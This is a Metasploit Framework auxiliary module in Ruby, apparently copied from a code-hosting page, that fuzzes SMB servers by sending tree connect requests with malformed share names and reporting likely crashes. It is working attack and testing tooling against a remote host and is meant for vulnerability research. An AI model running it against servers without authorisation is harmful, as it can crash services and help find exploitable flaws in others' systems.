86 lines
1.8 KiB
Ruby
86 lines
1.8 KiB
Ruby
|
##
|
||
|
|
# $Id$
|
||
|
|
##
|
||
|
|
|
||
|
|
##
|
||
|
|
# This file is part of the Metasploit Framework and may be subject to
|
||
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||
|
|
# Framework web site for more information on licensing and terms of use.
|
||
|
|
# http://metasploit.com/framework/
|
||
|
|
##
|
||
|
|
|
||
|
|
require 'msf/core'
|
||
|
|
|
||
|
|
|
||
|
|
class Metasploit3 < Msf::Auxiliary
|
||
|
|
|
||
|
|
include Msf::Exploit::Remote::SMB
|
||
|
|
include Msf::Auxiliary::Fuzzer
|
||
|
|
|
||
|
|
def initialize(info = {})
|
||
|
|
super(update_info(info,
|
||
|
|
'Name' => 'SMB Tree Connect Request Fuzzer',
|
||
|
|
'Description' => %q{
|
||
|
|
This module sends a series of SMB tree connect
|
||
|
|
requests using malicious strings.
|
||
|
|
},
|
||
|
|
'Author' => [ 'hdm' ],
|
||
|
|
'License' => MSF_LICENSE,
|
||
|
|
'Version' => '$Revision$'
|
||
|
|
))
|
||
|
|
end
|
||
|
|
|
||
|
|
def do_smb_connect(pkt,opts={})
|
||
|
|
@connected = false
|
||
|
|
connect
|
||
|
|
simple.login(
|
||
|
|
datastore['SMBName'],
|
||
|
|
datastore['SMBUser'],
|
||
|
|
datastore['SMBPass'],
|
||
|
|
datastore['SMBDomain']
|
||
|
|
)
|
||
|
|
|
||
|
|
@connected = true
|
||
|
|
simple.connect("\\\\#{datastore['RHOST']}\\#{pkt}")
|
||
|
|
end
|
||
|
|
|
||
|
|
def run
|
||
|
|
last_str = nil
|
||
|
|
last_inp = nil
|
||
|
|
last_err = nil
|
||
|
|
|
||
|
|
cnt = 0
|
||
|
|
|
||
|
|
fuzz_strings do |str|
|
||
|
|
cnt += 1
|
||
|
|
|
||
|
|
if(cnt % 100 == 0)
|
||
|
|
print_status("Fuzzing with iteration #{cnt} using #{@last_fuzzer_input}")
|
||
|
|
end
|
||
|
|
|
||
|
|
begin
|
||
|
|
do_smb_connect(str, 0.25)
|
||
|
|
rescue ::Interrupt
|
||
|
|
print_status("Exiting on interrupt: iteration #{cnt} using #{@last_fuzzer_input}")
|
||
|
|
raise $!
|
||
|
|
rescue ::Exception => e
|
||
|
|
last_err = e
|
||
|
|
ensure
|
||
|
|
disconnect
|
||
|
|
end
|
||
|
|
|
||
|
|
if(not @connected)
|
||
|
|
if(last_str)
|
||
|
|
print_status("The service may have crashed: iteration:#{cnt-1} method=#{last_inp} string=#{last_str.unpack("H*")[0]} error=#{last_err}")
|
||
|
|
else
|
||
|
|
print_status("Could not connect to the service: #{last_err}")
|
||
|
|
end
|
||
|
|
return
|
||
|
|
end
|
||
|
|
|
||
|
|
last_str = str
|
||
|
|
last_inp = @last_fuzzer_input
|
||
|
|
end
|
||
|
|
end
|
||
|
|
end
|